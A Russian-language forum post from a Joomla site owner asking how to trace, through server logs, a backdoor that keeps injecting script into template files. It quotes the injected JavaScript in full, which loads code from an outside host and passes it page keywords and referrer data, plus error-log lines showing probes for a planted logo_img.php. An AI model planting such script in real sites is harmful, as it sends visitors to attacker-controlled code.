Добрый день.
Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы шаблона index.php?
Дата фалов остается неизменной, уже проверял.
Сайт работает на Joomla. Версия была 3.2.х - обновил до 3.5.1 с заменой всех файлов движка и самописного шаблона. Шаблон писал сам. Вчера все файлы восстановил, пароли на ФПТ и админку сайта поменял. Сегодня с утра обнаруживаю снова этот же код во всех шаблонах, даже те, что не используются сайтом. Другие сайты на Joomla работают без проблем в других папках.
Добавляется код такого содержания до тега </head> и адрес сайта всегда разный:
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=SWBB8&c_utm='+encodeURIComponent('http://ktm-pohlenz.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
На просторах Интернета нашел подсказку, хоть и не совсем по-стандартам - удалить закрывающий тег </head> и робот-вирус не сможет найти закрывающий тег и соответственно прописать вредоносный код.
В логах error.log от Апача часто нахожу такие записи:
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Strict Standards: Only variables should be assigned by reference in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 15
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Notice: Undefined variable: jt_ticker in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 41
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Notice: Undefined variable: jt_ticker_hover in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 42
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Notice: Use of undefined constant MOD_JT - assumed 'MOD_JT'in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 83
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Strict Standards: Only variables should be assigned by reference in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 15
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Notice: Undefined variable: jt_ticker in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 41
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Notice: Undefined variable: jt_ticker_hover in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 42
[Thu Jun 3001:09:272016][error][client 95.108.129.196] PHP Notice: Use of undefined constant MOD_JT - assumed 'MOD_JT'in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 83
...............
[Thu Jun 3001:10:012016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:15:032016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:20:022016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:25:022016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:30:022016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:35:022016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:40:012016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:45:012016][error][client 193.107.74.135] PHP Strict Standards: Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL)in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 3001:45:322016][error][client 151.80.31.105] File does not exist: /home/sites/ccs.zt.ua/www/robots.txt
............
[Thu Jun 3002:49:192016][error][client 176.116.218.96] script '/home/ntu-net-ua/support/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:192016][error][client 176.116.218.96] script '/home/ntu-net-ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:192016][error][client 176.116.218.96] script '/home/sites/ntu.net.ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:192016][error][client 176.116.218.96] script '/home/sites/ccs.zt.ua/mail/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:192016][error][client 192.168.77.100] script '/home/sites/ccs.zt.ua/report/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:192016][error][client 192.168.77.100] script '/home/sites/ccs.zt.ua/report/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:232016][error][client 176.116.218.96] script '/home/sites/ntsk.kz/mail/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:252016][error][client 176.116.218.96] script '/home/sites/ntu.net.ua/mail/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:282016][error][client 176.116.218.96] script '/home/ntu-net-ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:282016][error][client 176.116.218.96] script '/home/sites/ntu.net.ua/dev/logo_img.php' not found or unable to stat
[Thu Jun 3002:49:282016][error][client 176.116.218.96] script '/home/sites/ntu.net.ua/dotproject/logo_img.php' not found or unable to stat
У меня никогда не было файла logo_img.php ни на одном из сайтов.
Домен domzdorovya.net давно уже не работает, но робот-вирус опрашивает файлы.